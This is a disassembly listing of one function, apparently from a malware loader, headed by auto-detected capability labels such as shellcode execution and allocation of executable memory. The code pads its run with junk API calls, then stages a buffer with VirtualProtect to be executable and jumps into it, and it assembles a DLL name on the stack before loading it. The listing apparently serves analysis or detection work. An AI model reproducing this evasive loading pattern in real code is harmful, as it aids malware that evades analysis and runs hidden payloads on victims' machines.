Function at 0x804620
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x806ac6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2cb0
call fcn.0040c330
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e2f9
jge 0x80466e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b2176
jle 0x80468a
cmp dword [esp + 0x10], 0xc0963c
je 0x80468a
cmp dword [esp + 0x3c], 0x90536f8
jne 0x804693
inc esi
cmp esi, 0x98abe
jl 0x804660
cmp dword [0x2662234], 0xcf8
jne 0x804795
push edi
push edi
push edi
call fcn.0040470e
push 0x4033cc
push edi
call fcn.0040470e
push edi
push edi
push edi
push edi
call fcn.00404406
push edi
push edi
call fcn.00403c29
push edi
call fcn.004042cb
push edi
call fcn.0040ce18
push edi
push edi
call fcn.0040413b
add esp, 0x3c
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2ccc], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804705
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x80471f
push 0x403640
call fcn.00403bbb
cmp esi, 0xf
jbe 0x804732
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039a0
jmp 0x80473f
cmp esi, edi
jne 0x804741
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x80477c
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x80475b
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040ae80
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x804778
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x80478f
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004047cb
add esp, 4
push edi
call fcn.004046bc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x8047c3
mov eax, 0x5d1
add dword [0x2662234], eax
cmp dword [0x2662234], 3
jne 0x8047e2
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x8c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x8047b0
mov eax, dword [0x2662234]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x8253c4], eax
mov eax, dword [0x2662234]
xor esi, esi
test eax, eax
je 0x804872
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x804820
cmp eax, 0xfe
jne 0x804849
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
lea edx, [esp + 0xcc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.008043b0
mov eax, dword [0x2662234]
cmp eax, 0x29
jne 0x80486d
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x2662234]
inc esi
cmp esi, eax
jb 0x804820
cmp eax, 0x70
jne 0x80491c
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033d8
push 0x4033ec
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x4033f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x8c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x4c4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403468
push 0x403528
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x2662234]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x804973
push 0
lea ecx, [esp + 0x70]
push ecx
push 0
lea edx, [esp + 0x4cc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x2662234]
cmp eax, 0xdf
jne 0x804bcc
push 0x403578
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x60]
push eax
push ecx
push ecx
lea edx, [esp + 0x14cc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x68]
push eax
call edi
push 0
lea ecx, [esp + 0x8c]
push ecx
call ebp
push 0
lea edx, [esp + 0x28]
push edx
call ebx
push 0
push 0
push 0
push 0x403598
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1cc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x64]
push edx
push 0
lea eax, [esp + 0x38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x88]
push ecx
call ebx
push 0
lea edx, [esp + 0x24]
push edx
call ebp
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x4c8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x1c]
push eax
push 0x403600
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x10c4]
push ecx
push 0x40361c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x8c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.0040a6b0
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x2662234]
dec dword [esp + 0x10]
jne 0x804940
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x804be7
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
lea ecx, [ecx]
cmp dword [0x2662234], 0x222
jne 0x804c10
push 0
call esi
dec edi
jne 0x804c00
mov edx, dword [0x2662234]
mov eax, dword [0x8253c4]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov byte [0x820630], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008045d0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x2662234], 0xba
jne 0x804c5a
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x804c67
call fcn.00804390
inc esi
cmp esi, 0x1605a
jl 0x804c41
mov edx, 0x73
mov eax, 0x6d
mov word [0x2658272], dx
mov word [0x2658276], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x265827a], cx
mov word [0x2658286], ax
mov word [0x2658278], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2658270
mov dword [0x2658280], 0x6c0064
mov word [0x2658274], ax
mov word [0x2658270], cx
mov word [0x2658284], dx
mov dword [0x265827c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2662234], 0xc30
jne 0x804d74
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x8cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x10c4]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2cc4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret